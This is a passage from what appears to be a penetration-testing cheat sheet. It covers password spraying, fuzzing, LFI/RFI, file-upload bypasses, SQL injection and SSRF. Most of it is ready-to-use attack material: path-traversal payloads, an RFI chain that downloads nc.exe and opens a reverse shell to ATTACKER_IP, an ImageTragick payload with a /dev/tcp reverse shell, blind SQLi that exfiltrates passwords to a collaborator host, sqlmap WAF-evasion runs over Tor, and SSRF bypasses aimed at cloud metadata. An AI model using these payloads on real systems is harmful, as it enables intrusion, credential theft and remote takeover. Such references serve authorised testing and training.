# https://github.com/x90skysn3k/brutespray python brutespray.py --file nmap.gnmap -U users.txt -p 'Summer2024!' --threads 5 # CrackMapExec for AD crackmapexec smb dc.target.com -u users.txt -p 'Password123!' --continue-on-success # Spray single password hydra -L users.txt -p 'Welcome1!' target.com http-post-form "/login:..." ``` ## Default Credentials ```bash # Check common default credentials # https://github.com/ihebski/DefaultCreds-cheat-sheet # https://many-passwords.github.io/ # Common defaults to try: admin:admin admin:password root:root test:test guest:guest ``` ## Wordlists ```bash # Passwords /usr/share/wordlists/rockyou.txt /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt /usr/share/seclists/Passwords/darkweb2017-top10000.txt # Usernames /usr/share/seclists/Usernames/top-usernames-shortlist.txt /usr/share/seclists/Usernames/Names/names.txt ``` ## Related Topics * [Password Cracking](/others/password-cracking) - Hash cracking * [Wordlist Reference](/others/wordlist-reference) - Wordlist selection guide # Online hashes cracked ```bash https://www.cmd5.org/ http://hashes.org https://www.onlinehashcrack.com/ https://gpuhash.me/ https://crackstation.net/ https://crack.sh/ https://hash.help/ https://passwordrecovery.io/ http://cracker.offensive-security.com/ https://md5decrypt.net/en/Sha256/ https://weakpass.com/wordlists https://hashes.com/en/decrypt/hash ``` # Crawl/Fuzz ```bash # Crawlers dirhunt https://url.com/ hakrawler -domain https://url.com/ python3 sourcewolf.py -h gospider -s "https://example.com/" -o output -c 10 -d 1 gospider -S sites.txt -o output -c 10 -d 1 gospider -s "https://example.com/" -o output -c 10 -d 1 --other-source --include-subs # Fuzzers # ffuf # Discover content ffuf -recursion -mc all -ac -c -e .htm,.shtml,.php,.html,.js,.txt,.zip,.bak,.asp,.aspx,.xml -w six2dez/OneListForAll/onelistforall.txt -u https://url.com/FUZZ # Headers discover ffuf -mc all -ac -u https://hackxor.net -w six2dez/OneListForAll/onelistforall.txt -c -H "FUZZ: Hellothereheadertesting123 asd" # Ffuf - burp ffuf -replay-proxy http:127.0.0.1:8080 # Fuzzing extensions # General .htm,.shtml,.php,.html,.js,.txt,.zip,.bak,.asp,.aspx,.xml,.inc # Backups '.bak','.bac','.old','.000','.~','.01','._bak','.001','.inc','.Xxx' # kr # https://github.com/assetnote/kiterunner kr brute https://whatever.com/ -w onelistforallmicro.txt -x 100 --fail-status-codes 404 kr scan https://whatever.com/ -w routes-small.kite -A=apiroutes-210228 -x 100 --ignore-length=34 # chameleon # https://github.com/iustin24/chameleon ./chameleon -u http://testphp.vulnweb.com -a -A # Best wordlists for fuzzing: # https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content - raft-large-directories-lowercase.txt - directory-list-2.3-medium.txt - RobotsDisallowed/top10000.txt # https://github.com/assetnote/commonspeak2-wordlists/tree/master/wordswithext - # https://github.com/random-robbie/bruteforce-lists # https://github.com/google/fuzzing/tree/master/dictionaries # https://github.com/six2dez/OneListForAll # AIO: https://github.com/foospidy/payloads # Check https://wordlists.assetnote.io/ # Pro tip: set "Host: localhost" as header # Custom generated dictionary gau example.com | unfurl -u paths # Get files only sed 's#/#\n#g' paths.txt |sort -u # Other things gau example.com | unfurl -u keys gau example.com | head -n 1000 |fff -s 200 -s 404 # Hadrware devices admin panel # https://github.com/InfosecMatter/default-http-login-hunter default-http-login-hunter.sh https://10.10.0.1:443/ # Dirsearch dirsearch -r -f -u https://10.11.1.111 --extensions=htm,html,asp,aspx,txt -w six2dez/OneListForAll/onelistforall.txt --request-by-hostname -t 40 # dirb dirb http://10.11.1.111 -r -o dirb-10.11.1.111.txt # wfuzz wfuzz -c -z file,six2dez/OneListForAll/onelistforall.txt --hc 404 http://10.11.1.11/FUZZ # gobuster gobuster dir -u http://10.11.1.111 -w six2dez/OneListForAll/onelistforall.txt -s '200,204,301,302,307,403,500' -e # Cansina # https://github.com/deibit/cansina python3 cansina.py -u example.com -p PAYLOAD # Ger endpoints from JS # LinkFinder # https://github.com/GerbenJavado/LinkFinder python linkfinder.py -i https://example.com -d python linkfinder.py -i burpfile -b # JS enumeration # https://github.com/KathanP19/JSFScan.sh # Tip, if 429 add one of these headers: Client-Ip: IP X-Client-Ip: IP X-Forwarded-For: IP X-Forwarded-For: 127.0.0.1 ``` # LFI/RFI ## Tools ```bash # https://github.com/kurobeats/fimap fimap -u "http://10.11.1.111/example.php?test=" # https://github.com/P0cL4bs/Kadimus ./kadimus -u localhost/?pg=contact -A my_user_agent # https://github.com/wireghoul/dotdotpwn dotdotpwn.pl -m http -h 10.11.1.111 -M GET -o unix # Apache specific: https://github.com/imhunterand/ApachSAL ``` {% hint style="info" %} **How to** 1. Look requests with filename like `include=main.inc template=/en/sidebar file=foo/file1.txt` 2. Modify and test: `file=foo/bar/../file1.txt` 1. If the response is the same could be vulnerable 2. If not there is some kind of block or sanitizer 3. Try to access world-readable files like `/etc/passwd /win.ini` {% endhint %} ## LFI ```bash # Basic LFI curl -s http://10.11.1.111/gallery.php?page=/etc/passwd # If LFI, also check /var/run/secrets/kubernetes.io/serviceaccount # PHP Filter b64 http://10.11.1.111/index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd && base64 -d savefile.php http://10.11.1.111/index.php?m=php://filter/convert.base64-encode/resource=config http://10.11.1.111/maliciousfile.txt%00?page=php://filter/convert.base64-encode/resource=../config.php # Nullbyte ending http://10.11.1.111/page=http://10.11.1.111/maliciousfile%00.txt http://10.11.1.111/page=http://10.11.1.111/maliciousfile.txt%00 # Other techniques https://abc.redact.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c https://abc.redact.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd https://abc.redact.com/static//..//..//..//..//..//..//..//..//..//..//..//..//..//..//../etc/passwd https://abc.redact.com/static/../../../../../../../../../../../../../../../etc/passwd https://abc.redact.com/static//..//..//..//..//..//..//..//..//..//..//..//..//..//..//../etc/passwd%00 https://abc.redact.com/static//..//..//..//..//..//..//..//..//..//..//..//..//..//..//../etc/passwd%00.html https://abc.redact.com/asd.php?file:///etc/passwd https://abc.redact.com/asd.php?file:///etc/passwd%00 https://abc.redact.com/asd.php?file:///etc/passwd%00.html https://abc.redact.com/asd.php?file:///etc/passwd%00.ext https://abc.redact.com/asd.php?file:///..//..//..//..//..//..//..//..//..//..//..//..//..//..//../etc/passwd%00.ext/etc/passwd https://target.com/admin..;/ https://target.com/../admin https://target.com/whatever/..;/admin https://target.com/whatever.php~ # Cookie based GET /vulnerable.php HTTP/1.1 Cookie:usid=../../../../../../../../../../../../../etc/pasdwd # LFI Windows http://10.11.1.111/addguestbook.php?LANG=../../windows/system32/drivers/etc/hosts%00 http://10.11.1.111/addguestbook.php?LANG=/..//..//..//..//..//..//..//..//..//..//..//..//..//..//../boot.ini http://10.11.1.111/addguestbook.php?LANG=../../../../../../../../../../../../../../../boot.ini http://10.11.1.111/addguestbook.php?LANG=/..//..//..//..//..//..//..//..//..//..//..//..//..//..//../boot.ini%00 http://10.11.1.111/addguestbook.php?LANG=/..//..//..//..//..//..//..//..//..//..//..//..//..//..//../boot.ini%00.html http://10.11.1.111/addguestbook.php?LANG=C:\\boot.ini http://10.11.1.111/addguestbook.php?LANG=C:\\boot.ini%00 http://10.11.1.111/addguestbook.php?LANG=C:\\boot.ini%00.html http://10.11.1.111/addguestbook.php?LANG=%SYSTEMROOT%\\win.ini http://10.11.1.111/addguestbook.php?LANG=%SYSTEMROOT%\\win.ini%00 http://10.11.1.111/addguestbook.php?LANG=%SYSTEMROOT%\\win.ini%00.html http://10.11.1.111/addguestbook.php?LANG=file:///C:/boot.ini http://10.11.1.111/addguestbook.php?LANG=file:///C:/win.ini http://10.11.1.111/addguestbook.php?LANG=C:\\boot.ini%00.ext http://10.11.1.111/addguestbook.php?LANG=%SYSTEMROOT%\\win.ini%00.ext # LFI using video upload: https://github.com/FFmpeg/FFmpeg https://hackerone.com/reports/226756 https://hackerone.com/reports/237381 https://docs.google.com/presentation/d/1yqWy_aE3dQNXAhW8kxMxRqtP7qMHaIfMzUDpEqFneos/edit https://github.com/neex/ffmpeg-avi-m3u-xbin # Contaminating log files root@kali:~# nc -v 10.11.1.111 80 10.11.1.111: inverse host lookup failed: Unknown host (UNKNOWN) [10.11.1.111] 80 (http) open http://10.11.1.111/addguestbook.php?LANG=../../xampp/apache/logs/access.log%00&cmd=ipconfig # Common LFI to RCE: Using file upload forms/functions Using the PHP wrapper expect://command Using the PHP wrapper php://file Using the PHP wrapper php://filter Using PHP input:// stream Using data://text/plain;base64,command Using /proc/self/environ Using /proc/self/fd Using log files with controllable input like: /var/log/apache/access.log /var/log/apache/error.log /var/log/vsftpd.log /var/log/sshd.log /var/log/mail # LFI possibilities by filetype ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE SVG: Stored XSS / SSRF / XXE GIF: Stored XSS / SSRF CSV: CSV injection XML: XXE AVI: LFI / SSRF HTML / JS : HTML injection / XSS / Open redirect PNG / JPEG: Pixel flood attack (DoS) ZIP: RCE via LFI / DoS PDF / PPTX: SSRF / BLIND XXE # Chaining with other vulns ../../../tmp/lol.png —> for path traversal sleep(10)-- -.jpg —> for SQL injection .jpg/png —> for XSS ; sleep 10; —> for command injections # 403 bypasses /accessible/..;/admin /.;/admin /admin;/ /admin/~ /./admin/./ /admin?param /%2e/admin /admin# /secret/ /secret/. //secret// /./secret/.. /admin..;/ /admin%20/ /%20admin%20/ /admin%20/page /%61dmin # Path Bypasses # 16-bit Unicode encoding # double URL encoding # overlong UTF-8 Unicode encoding ….// ….\/ …./\ ….\\ ``` ## RFI ```bash # RFI: http://10.11.1.111/addguestbook.php?LANG=http://10.11.1.111:31/evil.txt%00 Content of evil.txt: # RFI over SMB (Windows) cat php_cmd.php # Start SMB Server in attacker machine and put evil script # Access it via browser (2 request attack): # http://10.11.1.111/blog/?lang=\\ATTACKER_IP\ica\php_cmd.php&cmd=powershell -c Invoke-WebRequest -Uri "http://10.10.14.42/nc.exe" -OutFile "C:\\windows\\system32\\spool\\drivers\\color\\nc.exe" # http://10.11.1.111/blog/?lang=\\ATTACKER_IP\ica\php_cmd.php&cmd=powershell -c "C:\\windows\\system32\\spool\\drivers\\color\\nc.exe" -e cmd.exe ATTACKER_IP 1234 # Cross Content Hijacking: https://github.com/nccgroup/CrossSiteContentHijacking https://soroush.secproject.com/blog/2014/05/even-uploading-a-jpg-file-can-lead-to-cross-domain-data-hijacking-client-side-attack/ http://50.56.33.56/blog/?p=242 # Encoding scripts in PNG IDAT chunk: https://yqh.at/scripts_in_pngs.php ``` ## Related Topics * [SSRF](/enumeration/web/ssrf) - Server-side request forgery * [Command Injection](/enumeration/web/command-injection) - RCE via file inclusion * [File Upload](/enumeration/web/upload-bypasses) - Upload to RCE * [Web Exploits](/exploitation/web-exploits) - LFI to RCE chains * [XXE](/enumeration/web/xxe) - XML external entity attacks # File upload ``` # File name validation # extension blacklisted: PHP: .phtm, phtml, .phps, .pht, .php2, .php3, .php4, .php5, .shtml, .phar, .pgif, .inc ASP: .asp, .aspx, .cer, .asa Jsp: .jsp, .jspx, .jsw, .jsv, .jspf Coldfusion: .cfm, .cfml, .cfc, .dbm Using random capitalization: .pHp, .pHP5, .PhAr pht,phpt,phtml,php3,php4,php5,php6,php7,phar,pgif,phtm,phps,shtml,phar,pgif,inc # extension whitelisted: file.jpg.php file.php.jpg file.php.blah123jpg file.php%00.jpg file.php\x00.jpg file.php%00 file.php%20 file.php%0d%0a.jpg file.php..... file.php/ file.php.\ file. .html # Content type bypass - Preserve name, but change content-type Content-Type: image/jpeg, image/gif, image/png # Content length: # Small bad code: # Impact by extension asp, aspx, php5, php, php3: webshell, rce svg: stored xss, ssrf, xxe gif: stored xss, ssrf csv: csv injection xml: xxe avi: lfi, ssrf html, js: html injection, xss, open redirect png, jpeg: pixel flood attack dos zip: rce via lfi, dos pdf, pptx: ssrf, blind xxe # Path traversal ../../etc/passwd/logo.png ../../../logo.png # SQLi 'sleep(10).jpg sleep(10)-- -.jpg # Command injection ; sleep 10; # ImageTragick push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)' pop graphic-context # XXE .svg ]> &xxe; # XSS svg .svg File Upload Checklist 3 # Open redirect svg # Filter Bypassing Techniques # upload asp file using .cer & .asa extension (IIS — Windows) # Upload .eml file when content-type = text/HTML # Inject null byte shell.php%001.jpg # Check for .svg file upload you can achieve stored XSS using XML payload # put file name ../../logo.png or ../../etc/passwd/logo.png to get directory traversal via upload file # Upload large size file for DoS attack test using the image. # (magic number) upload shell.php change content-type to image/gif and start content with GIF89a; will do the job! # If web app allows for zip upload then rename the file to pwd.jpg bcoz developer handle it via command # upload the file using SQL command 'sleep(10).jpg you may achieve SQL if image directly saves to DB. # Advance Bypassing techniques # Imagetragick aka ImageMagick: https://mukarramkhalid.com/imagemagick-imagetragick-exploit/ https://github.com/neex/gifoeb # Upload file tool https://github.com/almandin/fuxploider python3 fuxploider.py --url https://example.com --not-regex "wrong file type" https://github.com/sAjibuu/upload_bypass ``` ### Cheatsheet ``` upload.random123 --- To test if random file extensions can be uploaded. upload.php --- try to upload a simple php file. upload.php.jpeg --- To bypass the blacklist. upload.jpg.php --- To bypass the blacklist. upload.php --- and Then Change the content type of the file to image or jpeg. upload.php* --- version - 1 2 3 4 5 6 7. upload.PHP --- To bypass The BlackList. upload.PhP --- To bypass The BlackList. upload.pHp --- To bypass The BlackList. upload .htaccess --- By uploading this [jpg,png] files can be executed as php with milicious code within it. pixelFlood.jpg --- To test againt the DOS. frameflood.gif --- upload gif file with 10^10 Frames Malicious zTXT --- upload UBER.jpg Upload zip file --- test againts Zip slip (only when file upload supports zip file) Check Overwrite Issue --- Upload file.txt and file.txt with different content and check if 2nd file.txt overwrites 1st file SVG to XSS --- Check if you can upload SVG files and can turn them to cause XSS on the target app SQLi Via File upload --- Try uploading `sleep(10)-- -.jpg` as file ``` ![](/files/-Mc98XubnHvMuxmO__Gd) # SQLi > **Skill Level**: Intermediate\ > **Prerequisites**: SQL basics, HTTP requests {% embed url="" %} {% embed url="" %} ## Detection ### Quick Test ```bash # Test parameter for SQLi curl "https://target.com/page?id=1'" # Expected vulnerable response: # - SQL error message # - Different page content # - 500 Internal Server Error # Example MySQL error: # You have an error in your SQL syntax; check the manual that corresponds # to your MySQL server version for the right syntax to use near ''' at line 1 # Example MSSQL error: # Unclosed quotation mark after the character string # Example PostgreSQL error: # ERROR: unterminated quoted string at or near "'" ``` ## Common ``` /?q=1 /?q=1' /?q=1" /?q=[1] /?q[]=1 /?q=1` /?q=1\ /?q=1/*'*/ /?q=1/*!1111'*/ /?q=1'||'asd'||' <== concat string /?q=1' or '1'='1 /?q=1 or 1=1 /?q='or''=' /?q=(1)or(0)=(1) # Useful payloads ' WAITFOR DELAY '0:0:5'-- ';WAITFOR DELAY '0:0:5'-- ')) or sleep(5)=' ;waitfor delay '0:0:5'-- );waitfor delay '0:0:5'-- ';waitfor delay '0:0:5'-- ";waitfor delay '0:0:5'-- ');waitfor delay '0:0:5'-- ");waitfor delay '0:0:5'-- ));waitfor delay '0:0:5'-- ``` ## Polyglot ```sql ', ",'),"), (),., * /, " INTO OUTFILE "/tmp/shell.php"- ``` ## **Blind SQLi** ```bash # Conditional Responses # Request with: Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4 In the DDBB it does: SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' - If exists, show content or “Welcome back” # To detect: TrackingId=x'+OR+1=1-- OK TrackingId=x'+OR+1=2-- KO # User admin exist TrackingId=x'+UNION+SELECT+'a'+FROM+users+WHERE+username='administrator'-- OK # Password length TrackingId=x'+UNION+SELECT+'a'+FROM+users+WHERE+username='administrator'+AND+length(password)>1-- # So, in the cookie header if first letter of password is greater than ‘m’, or ‘t’ or equal to ‘s’ response will be ok. xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 'm'-- xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 't'-- xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) = 's'-- z'+UNION+SELECT+'a'+FROM+users+WHERE+username='administrator'+AND+substring(password,6,1)='§a§'-- # Force conditional responses TrackingId=x'+UNION+SELECT+CASE+WHEN+(1=1)+THEN+to_char(1/0)+ELSE+NULL+END+FROM+dual-- RETURNS ERROR IF OK TrackingId=x'+UNION+SELECT+CASE+WHEN+(1=2)+THEN+to_char(1/0)+ELSE+NULL+END+FROM+dual-- RETURNS NORMALLY IF KO TrackingId='+UNION+SELECT+CASE+WHEN+(username='administrator'+AND+substr(password,3,1)='§a§')+THEN+to_char(1/0)+ELSE+NULL+END+FROM+users--; # Time delays TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END-- TrackingId=x'; IF (SELECT COUNT(username) FROM Users WHERE username = 'Administrator' AND SUBSTRING(password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'-- TrackingId=x'; IF (1=2) WAITFOR DELAY '0:0:10'-- TrackingId=x'||pg_sleep(10)-- TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END-- TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+substring(password,1,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users-- # Out-of-Band OAST (Collaborator) Asynchronous response # Confirm: TrackingId=x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f>+%25remote%3b]>'),'/l')+FROM+dual-- # Exfil: TrackingId=x'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')-- TrackingId=x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f>+%25remote%3b]>'),'/l')+FROM+dual-- ``` ## **Second Order SQLi** ```bash # A second-order SQL Injection, on the other hand, is a vulnerability exploitable in two different steps: 1. Firstly, we STORE a particular user-supplied input value in the DB and 2. Secondly, we use the stored value to exploit a vulnerability in a vulnerable function in the source code which constructs the dynamic query of the web application. # Example payload: X' UNION SELECT user(),version(),database(), 4 -- X' UNION SELECT 1,2,3,4 -- # For example, in a password reset query with user "User123' --": $pwdreset = mysql_query("UPDATE users SET password='getrekt' WHERE username='User123' — ' and password='UserPass@123'"); # Will be: $pwdreset = mysql_query("UPDATE users SET password='getrekt' WHERE username='User123'"); # So you don't need to know the password. - User = ' or 'asd'='asd it will return always true - User = admin'-- probably not check the password ``` ## **sqlmap** ```bash # Post sqlmap -r search-test.txt -p tfUPass # Get sqlmap -u "http://10.11.1.111/index.php?id=1" --dbms=mysql # Crawl sqlmap -u http://10.11.1.111 --dbms=mysql --crawl=3 # Full auto - FORMS sqlmap -u 'http://10.11.1.111:1337/978345210/index.php' --forms --dbs --risk=3 --level=5 --threads=4 --batch # Columns sqlmap -u 'http://admin.cronos.htb/index.php' --forms --dbms=MySQL --risk=3 --level=5 --threads=4 --batch --columns -T users -D admin # Values sqlmap -u 'http://admin.cronos.htb/index.php' --forms --dbms=MySQL --risk=3 --level=5 --threads=4 --batch --dump -T users -D admin sqlmap -o -u "http://10.11.1.111:1337/978345210/index.php" --data="username=admin&password=pass&submit=+Login+" --method=POST --level=3 --threads=10 --dbms=MySQL --users --passwords # SQLMAP WAF bypass sqlmap --level=5 --risk=3 --random-agent --user-agent -v3 --batch --threads=10 --dbs sqlmap --dbms="MySQL" -v3 --technique U --tamper="space2mysqlblank.py" --dbs sqlmap --dbms="MySQL" -v3 --technique U --tamper="space2comment" --dbs sqlmap -v3 --technique=T --no-cast --fresh-queries --banner sqlmap -u http://www.example.com/index?id=1 --level 2 --risk 3 --batch --dbs sqlmap -f -b --current-user --current-db --is-dba --users --dbs sqlmap --risk=3 --level=5 --random-agent --user-agent -v3 --batch --threads=10 --dbs sqlmap --risk 3 --level 5 --random-agent --proxy http://123.57.48.140:8080 --dbs sqlmap --random-agent --dbms=MYSQL --dbs --technique=B" sqlmap --identify-waf --random-agent -v 3 --dbs 1 : --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" --dbs 2 : --parse-errors -v 3 --current-user --is-dba --banner -D eeaco_gm -T #__tabulizer_user_preferences --column --random-agent --level=5 --risk=3 sqlmap --threads=10 --dbms=MYSQL --tamper=apostrophemask --technique=E -D joomlab -T anz91_session -C session_id --dump sqlmap --tables -D miss_db --is-dba --threads="10" --time-sec=10 --timeout=5 --no-cast --tamper=between,modsecurityversioned,modsecurityzeroversioned,charencode,greatest --identify-waf --random-agent sqlmap -u http://192.168.0.107/test.php?id=1 -v 3 --dbms "MySQL" --technique U -p id --batch --tamper "space2morehash.py" sqlmap --banner --safe-url=2 --safe-freq=3 --tamper=between,randomcase,charencode -v 3 --force-ssl --dbs --threads=10 --level=2 --risk=2 sqlmap -v3 --dbms="MySQL" --risk=3 --level=3 --technique=BU --tamper="space2mysqlblank.py" --random-agent -D damksa_abr -T admin,jobadmin,member --colu sqlmap --wizard sqlmap --level=5 --risk=3 --random-agent --tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes --dbms=mssql sqlmap -url www.site.ps/index.php --level 5 --risk 3 tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor --dbms=mssql sqlmap -url www.site.ps/index.php --level 5 --risk 3 tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes --dbms=mssql # Tamper suggester https://github.com/m4ll0k/Atlas --tamper "randomcase.py" --tor --tor-type=SOCKS5 --tor-port=9050 --dbs --dbms "MySQL" --current-db --random-agent --tamper "randomcase.py" --tor --tor-type=SOCKS5 --tor-port=9050 --dbs --dbms "MySQL" --current-db --random-agent -D "pache_PACHECOCARE" --tables --tamper "randomcase.py" --tor --tor-type=SOCKS5 --tor-port=9050 --dbs --dbms "MySQL" --current-db --random-agent -D "pache_PACHECOCARE" -T "edt_usuarios" --columns --tamper "randomcase.py" --tor --tor-type=SOCKS5 --tor-port=9050 --dbs --dbms "MySQL" --current-db --random-agent -D "pache_PACHECOCARE" -T "edt_usuarios" -C "ud,email,usuario,contra" --dump # Tamper list between.py,charencode.py,charunicodeencode.py,equaltolike.py,greatest.py,multiplespaces.py,nonrecursivereplacement.py,percent ``` ## Related Topics * [Command Injection](/enumeration/web/command-injection) - OS command execution * [NoSQL Injection](/enumeration/webservices/nosql-and-and-mongodb) - MongoDB, CouchDB attacks * [Web Exploits](/exploitation/web-exploits) - SQLi to RCE chains * [API Security](/enumeration/web/api-security) - API-specific injection vectors * [WAF Bypass](/enumeration/webservices/wafs) - Bypassing web application firewalls # SSRF > **Skill Level**: Intermediate\ > **Prerequisites**: Networking, cloud architecture ## Tools ```bash # https://github.com/tarunkant/Gopherus gopherus --exploit [PLATFORM] # https://github.com/daeken/SSRFTest # https://github.com/jmdx/TLS-poison/ # https://github.com/m4ll0k/Bug-Bounty-Toolz # https://github.com/cujanovic/SSRF-Testing # https://github.com/bcoles/ssrf_proxy gau domain.com | python3 ssrf.py collab.listener.com # https://github.com/micha3lb3n/SSRFire ./ssrfire.sh -d domain.com -s yourserver.com -f /path/to/copied_raw_urls.txt # SSRF Redirect Payload generator # https://tools.intigriti.io/redirector/ ``` ## Summary {% hint style="info" %} Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing. In typical SSRF examples, the attacker might cause the server to make a connection back to itself, or to other web-based services within the organization's infrastructure, or to external third-party systems. {% endhint %} ```bash # Web requesting other ip or ports like 127.0.0.1:8080 or 192.168.0.1 chat:3000/ssrf?user=&comment=&link=http://127.0.0.1:3000 GET /ssrf?user=&comment=&link=http://127.0.0.1:3000 HTTP/1.1 ``` ## SSRF Attacks ```bash # Check if you're able to enum IP or ports 127.0.0.1 127.0.1 127.1 127.000.000.001 2130706433 0x7F.0x00.0x00.0x01 0x7F.1 0x7F000001 # Quick URL based bypasses: http://google.com:80+&@127.88.23.245:22/#+@google.com:80/ http://127.88.23.245:22/+&@google.com:80#+@google.com:80/ http://google.com:80+&@google.com:80#+@127.88.23.245:22/ http://127.88.23.245:22/?@google.com:80/ http://127.88.23.245:22/#@www.google.com:80/ # 301 responses: https://ssrf.localdomain.pw/img-without-body/301-http-169.254.169.254:80-.i.jpg https://ssrf.localdomain.pw/img-without-body-md/301-http-.i.jpg https://ssrf.localdomain.pw/img-with-body/301-http-169.254.169.254:80-.i.jpg https://ssrf.localdomain.pw/img-with-body-md/301-http-.i.jpg # 301 json: https://ssrf.localdomain.pw/json-without-body/301-http-169.254.169.254:80-.j.json https://ssrf.localdomain.pw/json-without-body-md/301-http-.j.json https://ssrf.localdomain.pw/json-with-body/301-http-169.254.169.254:80-.j.json https://ssrf.localdomain.pw/json-with-body-md/301-http-.j.json # 301 csv: https://ssrf.localdomain.pw/csv-without-body/301-http-169.254.169.254:80-.c.csv https://ssrf.localdomain.pw/csv-without-body-md/301-http-.c.csv https://ssrf.localdomain.pw/csv-with-body/301-http-169.254.169.254:80-.c.csv https://ssrf.localdomain.pw/csv-with-body-md/301-http-.c.csv # 301 xml: https://ssrf.localdomain.pw/xml-without-body/301-http-169.254.169.254:80-.x.xml https://ssrf.localdomain.pw/xml-without-body-md/301-http-.x.xml https://ssrf.localdomain.pw/xml-with-body/301-http-169.254.169.254:80-.x.xml https://ssrf.localdomain.pw/xml-with-body-md/301-http-.x.xml # 301 pdf: https://ssrf.localdomain.pw/pdf-without-body/301-http-169.254.169.254:80-.p.pdf https://ssrf.localdomain.pw/pdf-without-body-md/301-http-.p.pdf https://ssrf.localdomain.pw/pdf-with-body/301-http-169.254.169.254:80-.p.pdf https://ssrf.localdomain.pw/pdf-with-body-md/301-http-.p.pdf # 30x custom: https://ssrf.localdomain.pw/custom-30x/?code=332&url=http://169.254.169.254/&content-type=YXBwbGljYXRpb24vanNvbg==&body=eyJhIjpbeyJiIjoiMiIsImMiOiIzIn1dfQ==&fakext=/j.json # 20x custom: https://ssrf.localdomain.pw/custom-200/?url=http://169.254.169.254/&content-type=YXBwbGljYXRpb24vanNvbg==&body=eyJhIjpbeyJiIjoiMiIsImMiOiIzIn1dfQ==&fakext=/j.json # 201 custom: https://ssrf.localdomain.pw/custom-201/?url=http://169.254.169.254/&content-type=YXBwbGljYXRpb24vanNvbg==&body=eyJhIjpbeyJiIjoiMiIsImMiOiIzIn1dfQ==&fakext=/j.json # HTML iframe + URL bypass http://ssrf.localdomain.pw/iframe/?proto=http&ip=127.0.0.1&port=80&url=/ # SFTP http://whatever.com/ssrf.php?url=sftp://evil.com:11111/ evil.com:$ nc -v -l 11111 Connection from [192.168.0.10] port 11111 [tcp/*] accepted (family 2, sport 36136) SSH-2.0-libssh2_1.4.2 # Dict http://safebuff.com/ssrf.php?dict://attacker:11111/ evil.com:$ nc -v -l 11111 Connection from [192.168.0.10] port 11111 [tcp/*] accepted (family 2, sport 36136) CLIENT libcurl 7.40.0 # gopher # http://safebuff.com/ssrf.php?url=http://evil.com/gopher.php evil.com:# nc -v -l 12346 Listening on [0.0.0.0] (family 0, port 12346) Connection from [192.168.0.10] port 12346 [tcp/*] accepted (family 2, sport 49398) HI Multiline test # TFTP # http://safebuff.com/ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET evil.com:# nc -v -u -l 12346 Listening on [0.0.0.0] (family 0, port 12346) TESTUDPPACKEToctettsize0blksize512timeout6 # file http://safebuff.com/redirect.php?url=file:///etc/passwd # ldap http://safebuff.com/redirect.php?url=ldap://localhost:11211/%0astats%0aquit # SSRF Bypasses ?url=http://safesite.com&site.com ?url=http://////////////site.com/ ?url=http://site@com/account/edit.aspx ?url=http://site.com/account/edit.aspx ?url=http://safesite.com?.site.com ?url=http://safesite.com#.site.com ?url=http://safesite.com\.site.com/domain ?url=https://ⓈⒾⓉⒺ.ⓒⓞⓜ = site.com ?url=https://192.10.10.3/ ?url=https://192.10.10.2?.192.10.10.3/ ?url=https://192.10.10.2#.192.10.10.3/ ?url=https://192.10.10.2\.192.10.10.3/ ?url=http://127.0.0.1/status/ ?url=http://localhost:8000/status/ ?url=http://site.com/domain.php # Localhost bypasses 0 127.00.1 127.0.01 0.00.0 0.0.00 127.1.0.1 127.10.1 127.1.01 0177.1 0177.0001.0001 0x0.0x0.0x0.0x0 0000.0000.0000.0000 0x7f.0x0.0x0.0x1 0177.0000.0000.0001 0177.0001.0000..0001 0x7f.0x1.0x0.0x1 0x7f.0x1.0x1 # Blind SSRF - Review Forms - Contact Us - Password fields - Contact or profile info (Names, Addresses) - User Agent # SSRF through video upload # https://hackerone.com/reports/1062888 # 